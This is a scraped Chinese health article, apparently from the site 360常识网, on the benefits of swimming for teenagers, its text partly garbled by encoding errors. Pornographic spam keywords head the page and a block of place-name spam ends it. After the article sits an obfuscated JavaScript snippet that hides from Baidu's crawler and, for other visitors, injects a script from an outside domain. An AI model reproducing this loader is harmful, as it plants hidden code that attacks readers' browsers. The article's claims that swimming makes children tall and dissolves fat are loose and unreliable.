亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

游泳對(duì)青少年的好處有哪些?

2017-04-14 17:17:09  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):游泳運(yùn)動(dòng)現(xiàn)在是男女老幼都喜歡的體育項(xiàng)目之一了哦。游泳的人都會(huì)感覺(jué)到水的阻力比空氣的阻力大好多倍,因此經(jīng)常游泳的話,可以很好的鍛煉身

游泳運(yùn)動(dòng)現(xiàn)在是男女老幼都喜歡的體育項(xiàng)目之一了哦。游泳的人都會(huì)感覺(jué)到水的阻力比空氣的阻力大好多倍,因此經(jīng)常游泳的話,可以很好的鍛煉身體的肌肉,那么游泳對(duì)于青少年有什么好處呢?小編搜羅了一些關(guān)于青少年游泳有好處的原理,對(duì)于現(xiàn)在學(xué)校游泳的人不妨跟隨小編來(lái)看下哦。

游泳是一種全身性運(yùn)動(dòng),不但可以提高你的心肺功能,還能鍛煉你幾乎所有的肌肉,尤其是堅(jiān)持有規(guī)律的強(qiáng)化訓(xùn)練,幾個(gè)月的功夫就能使你"脫胎換骨"。

在水中人的骨骼得到了充分的放松,可以有機(jī)會(huì)"伸一下懶腰",這對(duì)于保持挺拔的身體很有好處,對(duì)于正在長(zhǎng)身體的青少年,經(jīng)常堅(jiān)持游泳鍛煉可以讓你的長(zhǎng)成一個(gè)"高個(gè)子"。

游泳也是一項(xiàng)激烈的運(yùn)動(dòng),而且水的傳熱的速度比空氣要快,也就是說(shuō)人在水喪失熱量的速度會(huì)很快,大量的熱量會(huì)在游泳當(dāng)中消耗掉。身上那些多余的脂肪,也會(huì)悄悄的"溶解在水中"。

人在水中活動(dòng)的阻力比在陸地上大12倍,手腳在水中運(yùn)動(dòng)時(shí),你一定能感受到那強(qiáng)大的阻力,所以背部、胸部、腹部、臀部和腿部的肌肉在游泳當(dāng)中能夠得到很好的鍛煉,游泳運(yùn)動(dòng)員身上那線條鮮明的肌肉,就是最好的證據(jù)。

游泳時(shí)人的新陳代謝速度很快,而且這樣的代謝速度在你離開(kāi)水的以后還能保持一段時(shí)間,所以游泳是非常理想的減肥方法。對(duì)于比較瘦弱者,這是由于游泳對(duì)于肌肉的鍛煉作用,使肌肉的體積和重量增加的結(jié)果,可以說(shuō)游泳可以把胖人游瘦了,把瘦人游胖了,可以讓所有的人都有一個(gè)流暢的線條。

想要孩子長(zhǎng)得高一些的家長(zhǎng)們,現(xiàn)在可以去讓孩子多學(xué)習(xí)游泳了哦,對(duì)于小編的介紹,相信更多的家長(zhǎng)有這方面的想法了吧,孩子的運(yùn)動(dòng)的細(xì)胞,是在生活中不斷的培養(yǎng)的,特別是對(duì)于一些青少年的孩子們,正是長(zhǎng)身體的時(shí)候,游泳不失為一項(xiàng)很好的運(yùn)動(dòng)項(xiàng)目。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
错那县| 巍山| 富平县| 阳谷县| 蒙自县| 日土县| 香格里拉县| 文登市| 永泰县| 铅山县| 津南区| SHOW| 扶绥县| 邵阳市| 大宁县| 隆德县| 桃江县| 新河县| 临澧县| 富蕴县| 焦作市| 轮台县| 旌德县| 弥勒县| 阿合奇县| 苍梧县| 道真| 张家口市| 濮阳市| 汉寿县| 崇左市| 黑水县| 镇沅| 邮箱| 读书| 宣城市| 商水县| 曲麻莱县| 温州市| 衡山县| 新密市|